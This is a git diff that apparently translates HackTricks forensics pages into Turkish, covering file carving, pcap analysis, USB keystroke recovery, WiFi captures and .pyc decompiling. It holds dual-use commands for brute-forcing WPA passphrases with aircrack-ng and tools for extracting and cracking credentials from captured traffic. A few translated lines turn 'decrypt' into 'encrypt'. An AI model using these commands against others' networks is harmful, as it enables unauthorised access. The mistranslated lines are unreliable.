-Download [here](https://sourceforge.net/projects/findaes/). +[Buradan](https://sourceforge.net/projects/findaes/) indirin. -## Complementary tools +## Tamamlayıcı araçlar -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.\ +Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index f076c885c..a181cc53e 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -1,74 +1,65 @@ {{#include ../../../banners/hacktricks-training.md}} -# Carving tools +# Carving araçları ## Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files. +Görüntülerden dosyaları çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için değil olduğunu unutmayın. ## Binwalk -**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data. -It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github. -**Useful commands**: - +**Binwalk**, gömülü dosyalar ve veriler için görüntüler ve ses dosaları gibi ikili dosyaları aramak için bir araçtır. `apt` ile kurulabilir, ancak [kaynağı](https://github.com/ReFirmLabs/binwalk) github'da bulunabilir. +**Faydalı komutlar**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ## Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types. - +Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ## **Scalpel** -**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract. - +**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından \(_/etc/scalpel/scalpel.conf_\) yorum satırından çıkarmanız gerekecektir. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ## Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do: +Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabilir**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alabilir. Yapmanız gereken tek şey: ```text bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\). +Tüm **bilgileri** gözden geçirin \(şifreler?\), **analiz** edin **paketleri** \(okuyun [ **Pcaps analizi**](../pcap-inspection/)\), **garip alan adları** arayın \( **kötü amaçlı yazılım** ile ilgili veya **var olmayan** alan adları\). ## PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Bunu [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) adresinde bulabilirsiniz. -It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for. +GUI ve CLI sürümü ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. ![](../../../images/image%20%28524%29.png) -# Specific Data Carving Tools +# Özel Veri Kazıma Araçları ## FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir. -Download [here](https://sourceforge.net/projects/findaes/). +[Buradan](https://sourceforge.net/projects/findaes/) indirin. -# Complementary tools +# Tamamlayıcı araçlar -You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal. -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz. +Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md index 9e6ebd08d..545eb0cea 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -1,32 +1,26 @@ -# Pcap Inspection +# Pcap İncelemesi {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> **PCAP** ile **PCAPNG** hakkında bir not: PCAP dosya formatının iki versiyonu vardır; **PCAPNG daha yenidir ve tüm araçlar tarafından desteklenmez**. Bazı diğer araçlarla çalışabilmek için bir dosyayı PCAPNG'den PCAP'a dönüştürmeniz gerekebilir, bunu Wireshark veya başka bir uyumlu araçla yapabilirsiniz. -## Online tools for pcaps +## Pcap'lar için Çevrimiçi Araçlar -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- Pcap'ınızın başlığı **bozuksa** bunu **düzeltmeye** çalışmalısınız: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Bir pcap içindeki **bilgileri** çıkarın ve **kötü amaçlı yazılım** arayın [**PacketTotal**](https://packettotal.com) +- **Kötü niyetli etkinlik** aramak için [**www.virustotal.com**](https://www.virustotal.com) ve [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) kullanın -## Extract Information +## Bilgi Çıkarma -The following tools are useful to extract statistics, files, etc. +Aşağıdaki araçlar istatistik, dosya vb. çıkarmak için faydalıdır. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Bir PCAP'ı analiz edecekseniz, temelde Wireshark'ı nasıl kullanacağınızı bilmelisiniz** -You can find some Wireshark tricks in: +Wireshark ipuçlarını şurada bulabilirsiniz: {{#ref}} wireshark-tricks.md @@ -34,64 +28,56 @@ wireshark-tricks.md ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(sadece linux)_ bir **pcap'ı** **analiz edebilir** ve ondan bilgi çıkarabilir. Örneğin, bir pcap dosyasından Xplico, her e-postayı (POP, IMAP ve SMTP protokolleri), tüm HTTP içeriklerini, her VoIP çağrısını (SIP), FTP, TFTP vb. çıkarır. +**Kurulum** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Çalıştır** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +_**127.0.0.1:9876**_ adresine _**xplico:xplico**_ kimlik bilgileriyle erişin. -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Ardından **yeni bir vaka** oluşturun, vaka içinde **yeni bir oturum** oluşturun ve **pcap** dosyasını **yükleyin**. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Xplico gibi, **pcap'lerden nesneleri analiz etmek ve çıkarmak** için bir araçtır. **Buradan** [**indirebileceğiniz**](https://www.netresec.com/?page=NetworkMiner) ücretsiz bir sürümü vardır. **Windows** ile çalışır.\ +Bu araç, paketlerden **diğer analiz edilen bilgileri** almak için de faydalıdır, böylece ne olduğunu **daha hızlı** bir şekilde anlayabilirsiniz. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +[**NetWitness Investigator'ı buradan**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **indirebilirsiniz** **(Windows'ta çalışır)**.\ +Bu, paketleri **analiz eden** ve bilgileri **içeride ne olduğunu bilmek için** faydalı bir şekilde sıralayan başka bir yararlı araçtır. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- Kullanıcı adlarını ve şifreleri çıkarmak ve kodlamak (HTTP, FTP, Telnet, IMAP, SMTP...) +- Kimlik doğrulama hash'lerini çıkarmak ve Hashcat kullanarak kırmak (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Görsel bir ağ diyagramı oluşturmak (Ağ düğümleri ve kullanıcılar) +- DNS sorgularını çıkarmak +- Tüm TCP ve UDP oturumlarını yeniden oluşturmak +- Dosya Kesme ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Eğer pcap içinde **bir şey** **arıyorsanız** **ngrep** kullanabilirsiniz. İşte ana filtreleri kullanan bir örnek: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Yaygın carving tekniklerini kullanmak, pcap'ten dosyaları ve bilgileri çıkarmak için faydalı olabilir: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -99,46 +85,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçları kullanabilirsiniz. ## Check Exploits/Malware ### Suricata -**Install and setup** - +**Kurulum ve ayarlama** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Pcap'ı Kontrol Et** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) bir araçtır -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Bir PCAP Dosyasını okur ve Http Akışlarını çıkarır. +- gzip, sıkıştırılmış akışları açar +- Her dosyayı yara ile tarar +- report.txt dosyasını yazar +- İsteğe bağlı olarak eşleşen dosyaları bir Dizin'e kaydeder -### Malware Analysis +### Kötü Amaçlı Yazılım Analizi -Check if you can find any fingerprint of a known malware: +Bilinen bir kötü amaçlı yazılımın herhangi bir parmak izini bulup bulamayacağını kontrol edin: {{#ref}} ../malware-analysis.md @@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) pasif, açık kaynaklı bir ağ trafiği analizörüdür. Birçok operatör, şüpheli veya kötü niyetli etkinliklerin araştırmalarını desteklemek için Zeek'i Ağ Güvenliği İzleyicisi (NSM) olarak kullanır. Zeek ayrıca güvenlik alanının ötesinde, performans ölçümü ve sorun giderme dahil olmak üzere geniş bir trafik analizi görev yelpazesini destekler. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +Temelde, `zeek` tarafından oluşturulan günlükler **pcap** değildir. Bu nedenle, **pcap'ler** hakkında **bilgi** içeren günlükleri analiz etmek için **diğer araçlar** kullanmanız gerekecektir. +### Bağlantılar Bilgisi ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS bilgisi ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Diğer pcap analiz ipuçları {{#ref}} dnscat-exfiltration.md @@ -237,10 +209,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 9f63fbab3..ec92902e9 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,12 +1,12 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +Eğer birçok kesinti ile birlikte bir USB bağlantısının pcap'ine sahipseniz, muhtemelen bu bir USB Klavye bağlantısıdır. -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +Bunun gibi bir wireshark filtresi faydalı olabilir: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +"02" ile başlayan verilerin shift tuşu kullanılarak basıldığını bilmek önemli olabilir. -You can read more information and find some scripts about how to analyse this in: +Bununla ilgili daha fazla bilgi okuyabilir ve analiz etme hakkında bazı scriptler bulabilirsiniz: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 9c3dba419..3b5e57f98 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,17 +1,15 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Eğer aşağıdaki gibi bir klavyenin USB üzerinden iletişimini içeren bir pcap dosyanız varsa: ![](<../../../images/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +İletişimde yazılanları almak için [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) aracını kullanabilirsiniz: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Daha fazla bilgi okuyabilir ve bunu analiz etme hakkında bazı betikler bulabilirsiniz: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 36413cf70..2ccf3f566 100644 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,40 +1,38 @@ {{#include ../../../banners/hacktricks-training.md}} -# Check BSSIDs +# BSSID'leri Kontrol Et -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +WireShark kullanarak ana trafiği Wifi olan bir yakalama aldığınızda, _Wireless --> WLAN Traffic_ ile yakalamadaki tüm SSID'leri araştırmaya başlayabilirsiniz: ![](<../../../images/image (424).png>) ![](<../../../images/image (425).png>) -## Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +## Kaba Kuvvet +O ekranın sütunlarından biri **pcap içinde herhangi bir kimlik doğrulama bulunup bulunmadığını** gösterir. Eğer durum böyleyse, `aircrack-ng` kullanarak kaba kuvvet denemesi yapabilirsiniz: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Örneğin, daha sonra trafiği şifrelemek için gerekli olan bir PSK (önceden paylaşılan anahtar) koruyan WPA parolasını alacaktır. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# Beacon'larda / Yan Kanalda Veri -# Data in Beacons / Side Channel +Eğer **bir Wifi ağının beacon'larında verinin sızdırıldığını düşünüyorsanız**, ağın beacon'larını aşağıdaki gibi bir filtre kullanarak kontrol edebilirsiniz: `wlan contains `, veya `wlan.ssid == "NAMEofNETWORK"` filtrelenmiş paketler içinde şüpheli dizeleri arayın. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Bir Wifi Ağında Bilinmeyen MAC Adreslerini Bulma -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Aşağıdaki bağlantı, **bir Wifi Ağı içinde veri gönderen makineleri bulmak için** faydalı olacaktır: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Eğer **MAC adreslerini zaten biliyorsanız, bunları çıktılardan çıkarabilirsiniz** bu gibi kontroller ekleyerek: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Ağ içinde iletişim kuran **bilinmeyen MAC** adreslerini tespit ettikten sonra, trafiğini filtrelemek için **filtreler** kullanabilirsiniz: `wlan.addr== && (ftp || http || ssh || telnet)`. ftp/http/ssh/telnet filtrelerinin, trafiği şifrelediyseniz faydalı olduğunu unutmayın. -# Decrypt Traffic +# Trafiği Şifre Çözme -Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit +Düzenle --> Tercihler --> Protokoller --> IEEE 802.11--> Düzenle ![](<../../../images/image (426).png>) diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..b4df39ab6 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Derlenmiş python ikili dosyalarını decompile et (exe, elf) - .pyc'den al {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Derlenmiş İkili Dosyadan .pyc'ye +Bir **ELF** derlenmiş ikili dosyasından **.pyc'yi** alabilirsiniz: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +Bir **python exe ikili** dosyasında **.pyc** dosyasını almak için şunu çalıştırabilirsiniz: ```bash python pyinstxtractor.py executable.exe ``` +## .pyc'den python koduna -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +**.pyc** verisi ("derlenmiş" python) için **orijinal** **python** **kodunu** **çıkarmaya** **çalışmaya** başlamalısınız: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Kesin olun** ki, ikili dosyanın **uzantısı** "**.pyc**"dir (değilse, uncompyle6 çalışmayacaktır) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +**uncompyle6** çalıştırırken **aşağıdaki hatalarla** karşılaşabilirsiniz: +### Hata: Bilinmeyen sihirli sayı 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Bunu düzeltmek için **oluşturulan dosyanın başına doğru sihirli numarayı eklemeniz** gerekiyor. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Sihirli numaralar python sürümüne göre değişir**, **python 3.8**'in sihirli numarasını almak için **bir python 3.8** terminali açmalı ve şunu çalıştırmalısınız: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +Bu durumda python3.8 için **magic number** **`0x550d0d0a`**'dır, ardından bu hatayı düzeltmek için **.pyc dosyasının** **başına** aşağıdaki baytları **eklemeniz** gerekecek: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Oluşturduğunuzda** bu magic başlığı **eklenmiş** olmalıdır, **hata düzeltilmiş olmalıdır.** +Doğru bir şekilde eklenmiş **.pyc python3.8 magic header** şu şekilde görünecektir: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Hata: Genel hataların dekompile edilmesi -### Error: Decompiling generic errors +**Diğer hatalar** şunlar gibi: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` görünebilir. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Bu muhtemelen **büyülü numarayı doğru eklemediğiniz** veya **doğru büyülü numarayı kullanmadığınız** anlamına gelir, bu yüzden **doğru olanı kullandığınızdan emin olun** (veya yeni bir tane deneyin). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Önceki hata belgelerini kontrol edin. -Check the previous error documentation. +## Otomatik Araç -## Automatic Tool +[**python-exe-unpacker aracı**](https://github.com/countercept/python-exe-unpacker), Python ile yazılmış yürütülebilir dosyaları, özellikle py2exe ve pyinstaller ile oluşturulanları açma ve dekompile etme konusunda araştırmacılara yardımcı olmak için tasarlanmış birkaç toplulukta mevcut aracın bir kombinasyonu olarak hizmet eder. Python tabanlı bir yürütülebilir dosyanın tanımlanması için YARA kuralları içerir ve oluşturma aracını doğrular. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Dosya adı: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' mevcut değil -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example 